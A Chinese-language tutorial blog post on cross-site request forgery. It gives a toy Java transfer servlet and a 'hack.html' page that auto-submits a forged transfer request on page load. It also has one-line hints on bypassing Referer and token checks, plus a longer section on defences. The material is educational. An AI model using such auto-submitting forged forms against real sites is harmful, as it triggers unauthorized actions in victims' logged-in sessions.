CSRF(Cross-site request forgery)

什么是CSRF

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。

利用方法

index.jsp

<html>
<head>
    <title>CSRF Test</title>
</head>
<body>
    <form method="get" action="/Transfer">
        请输入转账目标:<input type="text" name="target">
        请输入转账金额:<input type="text" name="money">
        <input type="submit" value="提交">
    </form>
</body>
</html>

TransferServlet

@WebServlet("/Transfer")
public class TransferServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String target = request.getParameter("target");
        String money = request.getParameter("money");

        PrintWriter writer = response.getWriter();
        writer.println("target:"+target+",money:"+money);
    }
}

hack.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>csrf hack</title>
    <script>
        window.onload=function(){
            document.getElementById("form").submit();
        }
    </script>
</head>
<body>
    <form method="get" action="/Transfer" id="form">
        <input type="text" name="target" value="sh0rk">
        <input type="text" name="money" value="10086">
        <input type="submit" value="提交">
    </form>
</body>
</html>

正常流程如下:
输入转账账户和金额进行转账
在这里插入图片描述
转账成功
在这里插入图片描述
但是如果直接访问工作者伪造的网址则直接转账成功![在这里插入图片描述](https://img-blog.csdnimg.cn/20181111100934684.png
通过以上例子,攻击者通过构造请求包,诱导用户点击导致直接转账成功。

这个例子中没有用到cookie判断用户身份,因为cookie对于csrf相当于不存在的,浏览器会自己提交cookie上去进行身份验证。我们登陆网站后,网站会给我们个cookie,当用户对网站进行操作的时候,浏览器会直接带上当前网站的cookie,但是如果该网站存在csrf,攻击者构造了请求,当你点击后,浏览器也会带上目标网站的cookie。

进阶

  • referer 绕过:可以构建一个host相同的文件夹
  • CSRF Token绕过:结合xss

防御

想要防御csrf就要想办法让攻击者构造不了所有的参数。

  • 验证 HTTP Referer 字段
    • 概念:验证referer请求是否来自自己网站 的请求,不是则拒绝该请求。
    • 方法:只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以
    • 缺点:
      • Referer 的值是由浏览器提供的,虽然 HTTP 协议上有明确的要求,但是每个浏览器对于Referer 的具体实现可能有差别,并不能保证浏览器自身没有安全漏洞
      • referer会记录下用户的访问来源,用户可以设置不发生referer,导致拒绝合法用户的访问
  • 在请求地址中添加 token 并验证
    • 概念: 要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中
    • 方法: 可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。
    • 缺点:
      • 麻烦,容易忽略,所以通常使用的方法就是在每次页面加载时,使用 javascript 遍历整个 dom 树,对于 dom 中所有的 a 和 form 标签后加入 token, 这样可以解决大部分的请求,但是对于在页面加载之后动态生成的 html 代码,这种方法就没有作用,还需要程序员在编码时手动添加 token
      • 黑客可以在自己的网站上得到这个 token,并马上就可以发动 CSRF 攻击, 为了避免这一点,系统可以在添加 token 的时候增加一个判断,如果这个链接是链到自己本站的,就在后面添加 token,如果是通向外网则不加。不过,即使这个 csrftoken 不以参数的形式附加在请求之中,黑客的网站也同样可以通过 Referer 来得到这个 token 值以发动 CSRF 攻击。这也是一些用户喜欢手动关闭浏览器 Referer 功能的原因。
  • 在 HTTP 头中自定义属性并验证
    • 概念: 这种方法也是使用 token 并进行验证,和上一种方法不同的是,这里并不是把 token 以参数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里
    • 方法: 通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把 token 值放入其中。
    • 缺点:
      • 局限性非常大。XMLHttpRequest 请求通常用于 Ajax 方法中对于页面局部的异步刷新,并非所有的请求都适合用这个类来发起,而且通过该类请求得到的页面不能被浏览器所记录下 ,从而进行前进,后退,刷新,收藏等操作,给用户带来不便。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值